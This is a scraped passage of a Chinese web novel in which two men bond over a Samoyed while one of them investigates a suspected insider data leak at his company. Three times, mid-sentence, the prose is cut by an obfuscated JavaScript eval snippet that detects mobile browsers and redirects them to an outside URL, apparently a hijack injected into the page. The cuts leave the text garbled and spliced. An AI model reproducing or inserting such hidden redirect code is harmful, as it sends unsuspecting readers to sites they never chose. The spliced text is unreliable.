;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980893|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恐怕也落不着什么好吧。” “他选择跟业主吵架的时候就该想到后果。”庄明玘冷漠地评价,“那个人根本没觉得自己错了,就算今天躲过去,以后迟早还要在这上面栽跟头。” “我不是为了替他解围。”沈政宁走到小区门口,把silver的牵引绳还给庄明玘,用半开玩笑的口气说,“小狗的清白也很重要啊。” “……” 比彩虹屁更具威力的直白发言把庄明玘砸的半晌无语,他乌黑修长的眉头微微拧起,目光像审视又似疑惑,纳闷中带着点新奇,那一瞬的复杂情绪很难用一两句话概括,但可以肯定绝对不是讨厌。 沈政宁明明是一个心思机敏、周到精明的社会人,童年成长于单亲家庭,过早地成熟懂事,甚至曾被成年人亲手打碎过期冀,和“天真不谙世事”更沾不上边,但他的行事做派里,偶尔会流露出一点……难以形容的、在成年男人身上极其罕见的“童话感”。 并不是因为他到这个年纪还相信着那些梦幻故事,而是由于他具有某种强大的特质,并且愿意舒展自身的枝叶,为弱小的生灵提供荫蔽——有点类似仙女教母或者精灵古树,是亲手缔造了“梦幻般的奇迹”的角色。 庄明玘从遇见他以后,有时被那种童话般的温柔拂过,会怀疑是命运在诅咒之余给他的一点甜头。 思绪电转之间,红豆奶糖融化得只剩舌尖零星余味,庄明玘在原地略一踌躇,牵着silver跟了上去,沈政宁眉梢一抬,有点讶异:“今天换路线了?” 他只问了这么一句,但庄明玘立刻意识到自己在他心里是“存了档”的,从生平经历到日常行动轨迹,那本档案或许不厚,但他如果有什么异动,以这个人的敏锐,必然会在第一时间注意到。 “我把silver借你玩两天。”他歪头望着沈政宁,“要不要?” 沈政宁“嘶”地轻吸一口凉气:“这才十月底,你就忙着拜年了?” “?”庄明玘直觉不是什么好话,不高兴地撇过脸去,“莫名其妙。” “怎么突然舍得了,”沈政宁和他并肩走在稍显狭窄的人行道上,并且谨慎地保持了半掌宽的间距,“嫌它把你吃穷了,给它找个新饭票?” 这话当然是开玩笑,姑且不论silver对庄明玘的意义有多么重大,沈政宁住普通两居室,庄明玘住联排别墅区,生活水平不说天壤之别,起码是富裕和小康的差距,别说一只区区20公斤的小面包,再来两窝他也完全养得起。 “我有事要去趟兴城。”庄明玘说,“估计要出门三四天,本来考虑送宠物店寄养,但它很怕生,胆子又小,送过去我不太放心。” “哦……我还以为你是真心想给我们创造机会,原来是找了个上门喂养。”沈政宁揶揄地睨了他一眼,一唱三叹地幽幽道,“怪我,刚才竟然没听出庄先生想说的是‘跪下,我求你个事’。” “……”庄明玘抛出一记杀手锏,“你也不忍心看silver在宠物店被别的狗欺负吧?” 见沈政宁微微意动,他立刻补充上条件:“不会太麻烦你,我把门锁密码发给你,食物我会提前准备好,你上班下班顺路给它放点吃的,每天带它在小区里遛几圈就行。” 这份信任有点过分慷慨了,沈政宁挑眉反问:“不怕我把你家搬空吗?” “最值钱的就是silver,其它无所谓。”庄明玘垂下眼帘,眼波楚楚地望着他,“而且你不是小狗的保护神吗?一定会在主人不在的时候守护它的,对吧?” 沈政宁被他突然天真的表情杀得心脏错跳一拍,他还没分辨出这次异动究竟源自何种感情,但警报拉响,他条件反射地先行组织了语言反击:“妹妹如今几岁了?可曾读过书,现吃什么药?” 庄明玘:? 18.海胆 “前言收回,”庄明玘立刻翻脸,森然向质疑他心智水平的大胆狂徒发出最后通牒,“我要带着silver一起搬家——回去就搬,远走高飞,你这辈子都别想再见到它一根狗毛。” 话一出口沈政宁就意识到自己踩了猫尾巴,庄明玘果然小发雷霆。他立马滑跪表态:“我道歉,我错了,我检讨。”并伴以低声下气,“孩子还小,经不起舟车劳顿,你不在家的时候我一定好好照顾它,绝不让它受一点委屈。” 庄明玘并不接茬,那对琥珀般剔透的淡色眼珠在他脸上停了一霎,又冷冷地别开视线,那意思是好啊你眼里只有狗,那你去跟狗过一辈子吧。 沈政宁揣在口袋里的手指微动,碰到了手机冰凉的屏幕,有点想打开百度紧急搜索一下“猫生气了怎么哄”。 他没有哄猫的经验,倒是知道怎么对付生气的人,只要不出声也不搭理他,把他晾在一边,美其名曰“冷静一下”,心理素质差一点的人过一会儿就会主动反思自己是不是太过分了——但那可是庄明玘,别说知道什么是“过分”,沈政宁怀疑他压根就没开通“反思”这个功能。 在他大脑急速运转思考解决方案的短短两秒内,庄明玘身边的气温又凭空掉了一度,为全球变暖做出了一点微不足道的贡献。 “菠萝派。” 庄明玘耳尖不明显地一动,用眼神发了个问号过来。 “吃吗?”沈政宁朝路边麦〇劳的方向抬了抬下巴,觑着他的脸色,又补了一句,“只请你,没有silver的份,怎么样?” 太幼稚了。 庄明玘心想亏你还好意思问我几岁了,你的心智水平难道超过幼儿园水平了吗,一边挑剔地扫了一眼早餐广告牌,矜持地说:“哦。” 沈政宁进去五分钟,拎着纸袋走出来,用纸巾垫着手递给他硬纸壳包装的菠萝派。庄明玘撕开封口,注意到袋子里还有包好的麦满分,咬掉了酥脆外壳一角:“你不吃吗?” 深秋清寒是滚烫香甜的菠萝派最好的搭档,凉风让那有点烫口的热意变成了心理上的温暖感。沈政宁替他挽着silver的牵引绳,余光瞥见他形状漂亮的眼睛微微眯起,暗忖果然还是零食大法有神效,随口回答他:“我们家从小的规矩,不允许在外面边走边吃东西,习惯了。” “你家有皇位要继承吗?” “没有,”沈政宁说,“祖上三代就出过我爸一个公务员,还不是世袭制。” “那你为什么没去考警察?”庄明玘难得好奇,“以你的天赋,应该很适合走这条路,虽然可能没你现在收入那么高就是了。” “嗯……我没跟你说过吗?我父亲是因公殉职的民警。”沈政宁说,“加上那个年代的政策原因,我是独生子,家里人无论如何也不同意让我再走这条路,怕再出点什么事。” 庄明玘再不食人间烟火,也能通过这短短几句话勾勒出沈政宁的成长环境。也许经历过艰难时刻,也许并不事事合心,但大体上还是被家人保护得很好,那些过往塑造了如今的沈政宁——聪明优秀,体贴温和,安稳地按照家人的期望走在平坦的道路上,人生和事业都是一望即知的顺遂。 如果不是叶桐生出事,他们的命运线相去万里之遥,本来不应有任何交集。 “也是,”庄明玘说,“你是他们唯一的希望,安稳一点也好。” “不过现在回过头来想,其实……” “其实什么?” “没什么。”轻飘飘的笑意像写在水面上的字迹,没等人看清便消隐无踪,“你什么时候出发?需要,呃,预定南瓜马车接送服务吗?” “……”庄明玘一脸无聊地看着他,语气冷漠,“这个梗已经不好笑了。” “真难伺候。”沈政宁啧了一声,有种放下灵长类尊严陪猫玩耍反而被猫鄙视了的微妙不爽,“说正经的,要不要送?你坐飞机还是高铁?” 他想到的是庄明玘自己没车毛病又多,还是个经不起一点磕碰的金贵花瓶,总要亲自安置好他才让人放心;却下意识地忽略了他是个二十多岁智力正常、有自理能力的成年人,就算刚回国时人生地不熟,一个月过去,也总该学会了用支付软件和打车软件。 “还没买票。”庄明玘懒散地应了一声,把包装纸丢进路边垃圾桶,然后用一种“既然你诚心诚意地要求了那我就大发慈悲地答应你”的宽容态度说,“明天早上要遛狗,时间有点紧,为了不耽误你上班,订中午的机票吧。” 沈政宁对他这种现上轿现扎耳朵眼的行为叹为观止,判断他纯属是钱多烧的。 他忍不住发问:“你到底是拖延症呢,还是压根就不想出门?” 庄明玘睨了他一眼又收回,低垂着眼皮,似抱怨又似赌气地幽幽道:“明知故问。” 这话里潜藏着他自己都没意识到的信赖——世上没有理所当然的事,但如果是你的话,一定能猜中我的心事。 其实并不难猜。 叶桐生从小在兴城长大,除了高中最后几个月离家出走去了邢城,而庄明玘自称是叶桐生是高中时代的朋友,并且了解他的家庭情况和某些遭遇,也就是说,兴城有很大可能也是庄明玘的老家。 庄明玘提到出行目的地时用的称呼是“兴城”而不是“老家”,他长居国外数年,回国后却选择了盛安市落脚,过了一个多月后才打算去兴城,再加上不情不愿的态度,足可见庄明玘对这次出行并不期待,甚至是被逼无奈,这种情况十有八九是和家里有矛盾。 “兴城是你的老家吧?”沈政宁和缓地问,“所以是出了什么事吗,让你不得不回去一趟?” “我弟弟,”这个称呼让他脸上瞬间闪过不小心踩到屎一样的表情,“昨晚给我打电话,说我爸前几天身体不舒服,去医院检查结果很不好,已经住院了,让我如果还有点人性的话就回去看看。” 沈政宁小心地问:“是什么病?” 庄明玘倒是没怎么遮掩,直白地说:“冠心病,动脉粥样硬化,检查结果是血管已经堵塞了百分之八十,再发展下去容易心梗,医生建议做手术放支架。” “需要帮忙介绍医生吗?” “钱和医生都不是问题,”庄明玘平铺直叙的语调里有一丝刻意的紧绷感,就像正在暗自用力捏住塑料袋的裂口,以免某些情绪崩溃倾泻,“不过毕竟人上岁数了,手术有风险,虽然很小,但他怕有个万一自己下不了手术台,估计提前做了些身后的安排。” “我冒昧地问一句,”沈政宁说,“你们家不会真有皇位要继承吧?” 庄明玘哼出一声讥诮的冷笑:“一些钱,也许在某人眼里算是吧。” 根据沈政宁观察到的日常用度和消费习惯,庄明玘没有用“一点”,而是用了“一些”,已经是他难得的客观了,那估计就是“很多钱”。 沈政宁意味深长地评价:“在这种紧要关头特意给流落在外的王子送信,以免你错失应得的财产,你弟弟人还怪好的。” “是啊,”庄明玘轻轻附和,“有我这个不孝子的衬托,更显得他是个完美的继承人。” “那你打算怎么办?”他从从容容地开着玩笑,“要回去掀翻棋盘、夺回属于你的一切吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14992085|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “三天。” “嗯?” 庄明玘干脆利落地说:“我只在兴城待三天,手术结束后就回来。” 这话颇有刀切玻璃碎片飞溅、不管不顾你死我活的锋利美感,如果不是他心里已经有了一点猜度,骤然听见这样的发言,恐怕会认为庄明玘是个冷心冷情、亲缘淡漠的人。 不过他敢这么坦然地脱口而出,倒让沈政宁对他一直以来的刻板印象产生了微妙的改观——本以为他的尖刺源于警惕心,没想到还会主动扎人。 庄明玘在感知别人的态度方面一向精细得堪比雷达,眼波流转扫过他的脸,将那些细微的审视和忖度尽收眼底,忽地轻声一哂,语气寒凉,好像初冬满载着沉浮碎冰的河水:“不用费心找理由说服自己了,我就是你想的那种人。” 沈政宁反问:“哪种人?” 庄明玘含着轻慢的笑意睨了他一眼,那漫不经心的态度仿佛在说“别自欺欺人了”。 眼下气氛绝对说不上和谐,但沈政宁仿佛没察觉到空气中隐约的紧绷似地问:“你还想再吃点什么吗?” 庄明玘:? “我们公司楼下有7〇1,你喜欢饭团还是三明治?早饭只吃个菠萝派应该不太够,我觉得他们家上新的滑蛋吐司味道还可以。” “不——” “没关系的。” 沈政宁神来一笔,在把庄明玘搞迷茫了之后,突然又一键切换回了正经模式,平稳地说:“我本来觉得你是个自我任性高傲冷漠习惯性无视他人意见还动不动就生气的麻烦精,别人是海归你是海胆,去餐厅的时候都要小心被后厨顺手拿去蒸蛋……” 庄明玘:“喂!” “现在你证明了你确实是我认为的那样,那又有什么关系呢?你不是从一开始就根本不在乎别人的看法吗?” 沈政宁已经摸清了庄明玘作妖的三板斧:先小心翼翼地靠近,再若即若离地试探,最后根据态度决定是服软还是转身逃跑,总而言之就是两个字“得哄”。 通常情况下给点零食能解决百分之七十的问题,百分之二十需要辅以语言艺术,最难搞的那百分之十大概是送命题,目前沈政宁还没遇到过那种险恶境地。 他已经懒得追问“凭什么”了,命运不由人决定,猫也一样,都是不受控制且随心所欲的东西,靠近的时候不讲道理,决定离开时也走得悄无声息。 他还不想让他走。 “虽然猜不到你家以前发生过什么,你又是个严丝合缝的蚌壳,什么也不肯说——” “但是人活一世,活得无非是‘爱恨’两个字,热烈的爱也好,刻骨铭心的恨也好,你所经历过的事,以及你的应对,那都是你的人生体验,其他人无从置喙。” 他的目光宽容而沉静,落在庄明玘冰凉的面颊上,明明没有肢体接触,却让他产生了一刹那被轻抚的错觉。 这么多年来,他一直在极力避免被别人触碰,更别提主动去触摸谁,大概是因为感知能力缺项,所以他的感情较常人而言更为淡漠,亲密关系对他而言就是水月镜花,只可远观不可亵玩,而亲缘则是从他血肉里长出来的荆棘,想要彻底拔除,除非自己先变成灰烬。 他想过这一生也就这样了,得不到爱,解不了恨,只好把自己关进冰箱里,变成一块失去水分和口感、起码保质期还算长的冻肉。 毕竟他还能跑能跳,四肢健全耳聪目明,情感缺失又不是绝症,得不到任何人的理解也不影响他继续活下去。 沈政宁也没试图理解他,他只是平平淡淡地说:“要珍惜自己的感受啊。” 19.马脚 庄明玘本来是出来遛狗的,结果不知不觉就把沈政宁送到了他们公司楼下。 他们到得算早,便利店里人还不多,货品充足,因此庄明玘肯屈尊入内,挑挑拣拣半天最后勉为其难拿了个巴掌大的金枪鱼饭团,站在自助结账机前等沈政宁给他买单。 这场面有点像小孩跟在家长身后出来买零食,当然庄明玘绝对不会把这个想法说出口——那天他回家后出于好奇查了下什么是“宝宝碗”,然后顺藤摸瓜摸进小〇书,两小时后放下手机,被娇妻文学和momo锐评震撼得失眠了半宿。 微波炉里拿出来的饭团有点热,沈政宁放在他手里的时候还叮嘱了一句小心烫手。 庄明玘下意识地点点头,心绪还在恍惚,想着自己也曾有过这种跟在大人的身后、满怀期待地拿到喜欢的零食的时候吗?如果从未经历过,他是不会无端产生这种联想的,可那段记忆实在太过久远,已经模糊得像是上辈子的事了。 “行了,回去吧。”沈政宁弯腰摸摸silver的脑袋,认真地跟它说拜拜,吹掉手上的狗毛,“我上楼了,有事给我发微信。” 他就这么简洁明了地叮嘱了一句,既不追问什么,也不加以开导,两人像往常那样道别,然后各自去做自己的事情。 润物无声的日常却有着惊人的稳定性,像沈政宁这个人,舒缓而不失强势地主导了他们相处的节奏,不必长篇大论地赘述,只需要最基本的表态:你可以孤高疏离、可以反复无常、可以尽情地去探索感受世间一切怨憎爱恨……即便无人理解,你仍是自由的。 ——如果遇到了想不明白的难题、跨不过去的心结,那就来问我。 庄明玘目送他的背影走进电梯,忽然察觉到心脏好像跳得有点快,“扑通扑通”变得很有存在感。 他皱着眉头感受片刻,怀疑自己可能又低血糖了,于是有点气闷地撕开了饭团外包装上的塑封。 沈政宁用茶水间的微波炉热了一下已经变温的麦满分,顺便给自己泡了杯红茶,回办公室的路上遇到了高启辉和另一位副总杨贺清,他稍微停了停脚步,主动朝两人打了招呼:“高总早,杨总早。” 出乎意料的是高启辉就像没听见一样,视若无睹地从他眼前走过去,杨贺清也没回话,倒是侧头看了他一眼,但也不像是正常领导面对普通下属的态度。 沈政宁:? 他工龄六年,在职场学会的唯一一件事就是“不要内耗”,发现领导不开心时从来不反省是不是自己哪里做错了,而是立刻开始阴暗揣测:难道是公司资金链终于断了,该不会九点钟法院就要带人来查封资产、一键快进到破产清算程序了吧? 可惜现实往往并不如人所愿,九点钟并没有天降正义,而这一整天里他的工作陷入了十分诡异的模式。bug除了不在代码里出现,居然哪哪都是——流程被卡、文件丢失、审批不过……显然可以先排除他的能力问题,沈政宁怀疑自己可能是遭了水逆。 直到他下班回家,依约到庄明玘家拜访时,他还在心里琢磨这件事。 提前出来接人的庄明玘懒散地披着风衣倚在院子门口,大半身体浸在夜色里,灯光照亮小半边侧脸,隔着乌云一样的鬓发,肌理泛着一点点灰调,像精心雕琢过的青白玉。 刚认识他时沈政宁一度觉得他社会化没做好,后来发现这家伙可能就是单纯的认生,混熟了之后还是挺通人性的,甚至都会“蓬门今始为君开”了。 一开门silver立刻扑过来抱着他的腿求摸摸。沈政宁弯腰捞起萨摩耶,扛着棉花团子进门,边换拖鞋边让庄明玘抽湿巾给它擦爪子,随口问:“吃晚饭了吗?” 庄明玘:“忘了。” 沈政宁:“去吃。” 他也不废话,放开silver让它去客厅当小火车,稍微环顾了一下庄明玘的家,问道:“你平时怎么喂silver,也和你一样不规律吗?” 庄明玘沉默了两秒,在灯光下浓黑纤长的眼睫轻轻抬起:“你是不是心情不好。” 他用的是疑问句,语气却很笃定。沈政宁讶然转头,油然而生一点莫名欣慰,心说难道是刷出这个品种的隐藏成就“善解人意”了?他稍微调整了自己的心情:“怎么看出来的?” 庄明玘点了点自己眼角的位置:“这里,你刻意绷着脸时会有一道青筋鼓起来。”他的语气里甚至有一丝微不可查的得意,“而且你心情一不好,说话就会变得阴阳怪气,还是挺容易看出来的。” 沈政宁:“……我现在真的要生气了。” 庄明玘反而笑了起来。他难得这样开怀地、无所顾忌地展颜,那一霎真是冰消雪融、桃花千树,漂亮得晃眼又令人难以移开视线,如果不是他的笑点比较缺德,说不定还有机会跟微笑天使萨摩耶一较高下。 “所以是谁惹你不高兴了?”庄明玘从冰箱里拿出两听啤酒,递给沈政宁一听,自己单手开罐,仰头喝了一口,饶有兴致地问。 沈政宁看了眼啤酒又看了眼他:“这是什么?” 庄明玘:“啤酒?” 沈政宁:“我认识字,谢谢。” 庄明玘无辜地歪头看向他,似乎不解其意。沈政宁徐徐吐出一口气,反复默念不要跟他一般见识:“我们刚才说到了晚饭。” “哦。”庄明玘说,“啤酒热量很高的。” 刚才偶然一瞥,那雪洞一样的冷藏室还残存在他的视网膜上,沈政宁只好把话说得更直白些:“都快到十一月了,不要喝冰镇啤酒了。” “嗯,最后一罐。”庄明玘嘴上配合得十分爽快,依然好奇地望着他。 沈政宁也开了啤酒,被冰得皱眉:“不算什么大事,就是感觉今天工作不太顺手,暂时还没找到症结……你那是什么表情,拿我当下酒菜呢?” 庄明玘撇嘴道:“还以为又能听到大侦探的推理故事,白期待了。” 沈政宁面无表情:“猜你想找,《福尔摩斯探案集》。” “……” 庄明玘似乎在琢磨一套对付沈政宁的公式,他也不说话,就坐在小吧台前单手支着脸,把自己调整到比对方稍微矮一点的高度,撩起眼皮,用上目线看他一眼,低下去半秒,再抬一眼,就这么一眼一眼、巴巴地望着他。 柔软宽松的象牙色卫衣挂在他平直的肩膀上,露出修长脖颈和深陷的锁骨,袖子挽到手肘,看起来十分温婉居家,手腕骨节分明,唯有内侧的瘢痕像白璧微瑕,突兀又显眼地横亘在淡青的血管上。 “好吧,”沈政宁在他的眼神攻势下取得了坚持10秒的好成绩,“等我再观察一下,弄明白了就告诉你。” 庄明玘嘴角微翘,露出得逞的狡黠笑意,旋即循着他没来得及收回的目光看向自己的手腕,那角度又上调了20度:“放心,我没有做过傻事,它只是位置有点奇怪。” “嗯,我知道。” 他温和地垂眸回应,声音里没有什么多余的情绪,但庄明玘感觉自己好像被他的目光摸了摸脑袋。 沈政宁当然能看出来那不是割腕留下的伤疤,而是反复摩擦形成的擦伤,因为时间久远已经淡褪了很多;可他也知道这种只出现在两只手腕内侧、位置形状都差不多的痕迹,不是普通的绳子、不是一次两次就能造成的。 是长期反复的、平躺后固定住手脚以防挣扎的做法,才会形成这样的伤疤。 正在屋里跑来跑去的Silver忽然一个急刹,转身晃着尾巴小步快走到了庄明玘脚边,开始围着他团团打转,不时人立起来用嘴拱他的手,嘴里发出“呜呜”的哼唧声,那意思仿佛是安慰他“人,你可以在我宽广的胸膛里哭泣”。 像薄雪落进洁白的绒毛里,压在彼此心头的那点沉郁悄无声息地融化了。 沈政宁说:“放心吧,我会帮你照顾好它的。” 代理铲屎官的工作并不算麻烦:每天早晨在遛狗时拍照发给庄明玘,在沈政宁上班这段时间内,庄明玘会通过家里的监控不时查看silver的情况,等到晚上他下班,庄明玘再打视频电话云监工他喂食遛狗,顺便互相通报一下近况。 比起他水逆频发的本职,上门喂狗除了没有工资,几乎是完美的工作了。 庄明玘:“所以到底为什么会水逆啊?” 他的尾调拖得有点长,有种紧绷了一天之后卸下防备的柔软懒散,沈政宁失笑:“算了,不给你添堵了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15004833|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等回来再慢慢说吧。” 庄明玘立刻不干了:“你答应过我的。” “孩子没娘说来话长,”沈政宁警告道,“那我就说了,你晚上闹心失眠瞪眼到凌晨三点不要怪我。” 今年六月,沈政宁的直系领导徐永京曾向他透过口风,公司准备提拔他为部门副总监,高层对他的考察基本已经十拿九稳,只要过了办公会就发通知。然而今天一早沈政宁打开邮箱,看到人力资源新发的任免通知,赫然发现新任副总监写着另一位同事的名字。 他们部门的氛围原本还不错,但一上午整间办公室犹如地狱般死寂。沈政宁找了个由头去了副总办公室,倒还沉得住气,很诚恳地求教道:“徐总,我理解公司决策层面有很多考量,但是这个结果确实让我很震惊,我想知道问题究竟出在了哪里?” 徐永京也有点尴尬,毕竟他先给沈政宁透了底,沈政宁的工作也确实出色,现在说嘴打脸,显得他的承诺和公司决策像放屁:“政宁,你的心情我明白,我对你的能力也非常认可……但是呢,公司不是我一个人在做决策,是吧?主要是考虑到这个、人员的稳定性,我们还是希望公司培养起来的员工,能在公司长期、稳定地发展……” 这说法很好理解,算是黑话里最浅显的那一套,沈政宁下意识就要辩解他没有跑路的打算,但就在短短半秒内,某个突如其来的猜测闪电般劈过他的脑海,一时令他汗毛直立,把解释掐死在了喉咙口。 “……有点出乎意料。”他垂下眼皮半遮住瞳孔,显出一副无害的温吞模样,几乎全凭本能在说话,“没想到是……这个原因,方便请教一下是哪位领导提的意见吗?” 徐永京见他接受态度良好,没有愤而掀桌的苗头,默认了他是被说中了心事,于是肩背微微放松,向老板椅深处仰去,拿腔拿调地说:“你也知道,涉及人事任免的会议是敏/感内容,需要保密……” 沈政宁态度愈发谦退,彬彬有礼地解释:“徐总放心,我对公司决策没有不满,就是担心领导对我有些误会,不管我以后在哪发展,总归是在这个行业里打转,还是希望能给领导留下个好印象。” “我知道你想做两手准备,骑驴找马是人之常情,大家心里都门儿清,都能理解。”徐永京语重心长地教诲他,“但这事得藏好了,私底下悄悄地办,拿到台面上就不好看了,说难听点那不成脚踏两只船了吗,对吧?高总也是担心万一给你晋升了职位,结果一扭头你跑了,那公司这头竹篮打水一场空,产生损失怎么弥补?” 沈政宁对他这套话术早已有了抗体,左耳进右耳出,压根没往心里去,唯有捕捉到关键的两个字时微微凝神,心里微微发沉又有点拧得慌,有种诡异的“原来如此”和“果然如此”混响的感觉。 庄明玘不知道前因后果,听得半懂不懂,但理解了沈政宁为什么发出失眠警告:“这不是明摆着欺负你吗?那个姓高跟你有什么过节?还是他是你竞争对手的干爹?” “问题就出在这儿。”沈政宁语气平静得可怕,“我没有得罪过他,在今天之前,我也从来没打算过辞职。” “那他为什么说你要辞职?”庄明玘纳闷道,“而且你还顺着他的话承认了。” 沈政宁缓缓地说:“只有一次,我为了套话,曾经对一个人提起过我有跳槽的意向。对方是因为信息泄露事件离职的网安工程师,也就是叶桐生的前同事。” 那是一个恍如魔咒、至今还会令人心中一凛的名字。 “他暗示我这件事有公司高层插手,因此内部自查不了了之,他和另一个工程师作为替罪羊引咎辞职,但后续发展没有受到影响。”沈政宁说,“高启辉是信安部的主管领导,也是内部自查的牵头人,我和他没有直接接触,他会知道我要辞职,只能是那个人给他通风报信。” “如果仅止于此,还可以用‘高启辉为人仗义,替公司补偿受害者’的理由解释,但他用这个把柄来打压我,巴不得我在公司寸步难行、赶紧收拾包袱走人,背后的用意就很值得琢磨了。” 庄明玘嘴唇微动,无声地骂了一句。 “他知道我在打探信息泄露的内幕,这么做是为了警告我,不要多管闲事。” 20.晚饭 沈政宁轻声说:“我现在在想,叶桐生当初面临的,会不会就是这样的境地。” 他并不归高启辉直管,这几天仍然被“水逆”折腾得心浮气躁,而叶桐生作为高启辉的下属、事件发生后唯一一个坚持留在公司的知情人、他承受了多大的压力,又能抗得住多久呢? 这两天沈政宁总是想起那天下班后,叶桐生和高启辉站在电梯口,对他表现出一副冷漠态度,然后和高启辉一起下了B2的地下车库。 他为什么没有多问一句呢?哪怕是被认为多管闲事、只得到一句敷衍,如果那时有人问叶桐生一句,是不是就能让他在水边迟疑一步呢? 庄明玘喉头上下滚动一轮,深呼吸勉力克制情绪:“先不管叶桐生的死和那个高总有没有关系,信息泄露这件事肯定是跑不了他的……报警吧。” “没有证据,别说刑法判不了他,就连劳动仲裁都打不赢。”沈政宁用堪称冷酷的理智驳回了他的提议,“高启辉是公司副总,当然有权对人事任免提出看法,他大可以辩称自己只是为公司考虑,并不掺杂任何个人恩怨,而我的推测是对公司决策不满进而产生被害妄想……甚至那个离职工程师的说法,也可以反口说是他随便编造的八卦。” 所以你就要眼睁睁地看着这件事翻篇,被岁月灰尘掩盖,变成一桩没头没尾的悬案吗? 你不是寻找真相的大侦探吗? 有一瞬间庄明玘真想这么不管不顾地质问沈政宁,但他旋即想起沈政宁说过不喜欢别人叫他福尔摩斯,因为这样只会提醒他自己有多么不自量力。 当时他没理解为什么是“不自量力”,以为沈政宁是在自谦,可是在清寒又萧索的此夜,他忽然间领悟了那种现实的无奈——真相就摆在眼前,就掌握在他手中,可它改变不了现状,也撬动不了世界,它只是一块沉重的石头而已。 “也许有人需要呢?” 有良心的人抱着这种念头,不停地拾起石头、背负着它走过人生漫长的跋涉,可总有一天他们会寸步难行,不得不抛弃一些才能继续走下去,抑或是被那重量彻底压垮,自己也变成石头堆里的一员。 手机里的沉默其实只有短短四秒,“沙沙”的电流声却把它拉得像一小时那么长。 庄明玘艰难地开口:“我明白……” “事发至今,他们连知情人都安置好了,留下的痕迹当然也早就处理完毕。”沈政宁没留意他的心理活动,径自沉吟道,“要想抓住他的马脚,就得有点耐心,等待蛇再一次探出洞……这种一本万利的买卖,他绝不会只干一次就收手,现在信安工程师全都不在了,对他来说是天赐良机,他一定会再动手的。” 庄明玘就像对着阴天伤感了半天、出门一看根本没下雨:“你还要继续留下?” “不然呢?”沈政宁反问,“他莫名其妙摆了我这么大一道,我就忍气吞声地吃瘪走人,让他舒舒服服地坐享犯罪成果吗?” “虽然这破公司已经面目全非不值得留恋了,但起码得拿到分手费再走,否则也太便宜他们了。” 玻璃心的庄明玘被他的狠人发言震撼,充满敬畏地海豹鼓掌,乖巧不失柔顺地说:“我明天回来。你要注意安全,谁知道那种人狗急跳墙了会干出什么事来。” “知道了,航班发我,去接你。”沈政宁把跑够了的萨摩耶送回家,“家里的事处理好了?” “嗯。”那边传来床垫被挤压的细响,庄明玘仰面躺倒,手臂横在额头挡光,“手术挺顺利的,没我什么事了。” 隔着画质不太清晰的屏幕都能看出庄明玘脸色不好,沈政宁怀疑这一趟又诱发了他的某些应激症状,但电话里说再多也是苍白安慰,他把silver举到镜头前跟他拜拜:“再坚持一天,回来让耶大夫给你按摩,你就能睡踏实了。” 庄明玘翻了个身,把头埋在枕头里笑了半天,才说:“好。” 人连续三天不睡觉也许不会死,但熬夜是美容的天敌,再漂亮的人也经不住这么摧残,庄明玘从航站楼出来的时候黑眼圈都快掉到脚面上了,游魂一样飘飘荡荡地上了车,抱起silver毫无章法地一顿乱揉,还没开出机场周边就搂着萨摩耶睡着了。 要不是自己还清醒着,沈政宁都要怀疑他的车载香薰被人换成安眠药了。 车在家门口停下,庄明玘迷迷瞪瞪地惊醒,摸了半分钟才找到车门把手。沈政宁看他那一摇三晃的身姿,宛如迎风摆动的长条气球人,很怕他会一头栽在小花园里,只好把车停进院子,左手行李箱右手萨摩耶,像个勤勤恳恳的小助理,恭送庄大少爷进了家门。 庄明玘“啪”地把自己脸朝下拍进沙发里,沈政宁把行李箱放好,走过来“啧”了一声:“要睡就回卧室躺床上好好睡,小心落枕。” “你要回去了吗?”庄明玘微微偏过脸,眼睛半睁不睁,在碎发缝隙里偷偷看他。 “怎么了?”沈政宁问,“还有什么事吗?” “@#¥%&*……” 庄明玘叽里咕噜地吐出一团意味不明的乱码,显然不在人类能破译的范围内,沈政宁越发迷惑:“你是在梦游吗?既然还没醒那我不打扰了,你接着睡吧。” “能不能……” 沈政宁:“啊?” 庄明玘又低又轻、近乎梦呓地小声请求:“等我睡着再走……” 下午两点阳光很足,透过落地窗照在大理石地板上,像池塘水面一样泛着粼粼波光,而庄明玘的那句话不亚于往这池水里倒入过量的面粉,把它变成了谁也脱不了身的浆糊。 沈政宁足足沉默了十几秒,才缓缓开口:“原来我才是那个安眠药啊。” 庄明玘:“?” “知道了。”沈政宁没好气地说,“睡你的吧。” 落地窗前拉上了半透明的纱质窗帘,阳光依然可以大片泼洒进来,给过于宽敞的客厅增加一点暖意。沙发其实远不如床睡着舒服,但庄明玘偏偏犯轴不想回卧室,用枕头和沈政宁扔过来的薄毯给自己搭了个窝,半蜷着身子就那么睡了。 